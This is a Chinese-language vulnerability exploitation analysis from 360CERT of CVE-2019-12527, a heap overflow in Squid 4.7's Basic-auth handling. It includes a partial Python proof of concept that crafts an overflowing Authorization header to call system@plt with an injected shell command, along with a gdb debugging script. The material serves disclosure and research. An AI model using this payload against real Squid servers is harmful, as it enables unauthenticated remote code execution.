CVE-2019-12527:Squid缓冲区溢出漏洞利用分析

 

0x00 背景描述

2019年8月22日,趋势科技研究团队发布了编号为CVE-2019-12527的Squid代理服务器缓冲区溢出漏洞分析报告,攻击者可以在无需身份验证的情况下构造数据包利用此漏洞造成远程代码执行。

360CERT已发布预警:https://cert.360.cn/warning/detail?id=52b94287c9f7454c18ed7c9be3a17f01

该报告是对此漏洞的利用分析。

 

0x01 环境配置

测试环境配置:

Linux osboxes 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

测试版本下载地址:

http://www.squid-cache.org/Versions/v4/squid-4.7.tar.gz

编译:

./configure
make -j4
sudo make install

安装后地址:

/usr/local/squid/sbin/squid

在配置文件/usr/local/squid/etc/squid.conf最后添加:

cache_access_log /var/squid/access.log
cache_log /var/squid/cache.log
cache_store_log /var/squid/store.log
并给这些文件赋值777

 

0x02 漏洞利用

漏洞点在: src/HttpHeader.cc:

enter description here

decodeAuthToken数组用于存放base解密后的数据,并且没有边界判断,所以造成溢出。

而decodeAuthToken定义成静态变量,位于程序的.bss区,可以覆盖到其他全局变量,造成崩溃,但崩溃会重新起一个进程,主进程并不会崩溃。

崩溃现场:

enter description here

从图中我们可以看出,我们可以call一个地址,并且rdi 可控,相当于我们可以执行带一个参数的函数。查看程序的保护措施:

enter description here

并未开启随机化,所以got和plt的地址固定,可以通过调用system@plt来执行命令,在rdi指向的地址0xc66488上填充要执行的命令。

enter description here

decodeAuthToken起始位置:0xc64140 -> this=0xc66488 偏移为:0x2348

 

0x03 利用脚本

部分poc脚本(该poc仅供研究):

command = []
path = '/tmp/x\0'
command.append("echo pwned >>"+path)

for i in command:
    payload = "GET cache_object://127.0.0.1/info"
    payload += " HTTP/1.1\n"
    payload += "HOST: 127.0.0.1\n"
    payload += "Authorization: Basic "

    content = "A:B"+'\x40\xa2\x42'*0xbc1 + '\x40\xa2'
    print i

    content += i # 填充 rdi 
    content += '\xa2'*(0x28-len(i))
    content += p64(0xdeadbeef) 
    content = base64.b64encode(content)
    payload += content
    payload += '\n\n'

    with open("./poc","w+") as f:
        f.write(payload)
    f.close()
    time.sleep(1)
    os.system("nc 127.0.0.1 3128 < ./poc > 0")

gdb 调试脚本:

#!/bin/bash
python ./poc.py
sudo gdb\
        -ex "file /usr/local/squid/sbin/squid" \
        -ex "attach $(ps -ef | grep squid | grep -v grep |grep kid| awk '{print $2}')" \
        -ex "b base64_decode_update"\
        -ex "continue"

 

0x04 利用效果

运行效果图:

enter description here

得到的是一个nobody权限

笔者在测试环境中编译Squid默认不开启随机化,但在高版本系统中会默认开启随机化。并且不同条件下编译,生成的程序地址、got和plt地址不同,所以该poc不能通用,但利用思路可以借鉴。

 

0x05 时间线

2019-07-12 Squid官方发布安全公告

2019-08-22 趋势科技发布研究报告

2019-08-23 360CERT发布漏洞预警

2019-11-07 360CERT发布漏洞利用分析

 

0x06 参考链接

  1. https://www.thezdi.com/blog/2019/8/22/cve-2019-12527-code-execution-on-squid-proxy-through-a-heap-buffer-overflow

欢迎加入360-CERT团队,请投递简历到 caiyuguang[a_t]360.cn

(完)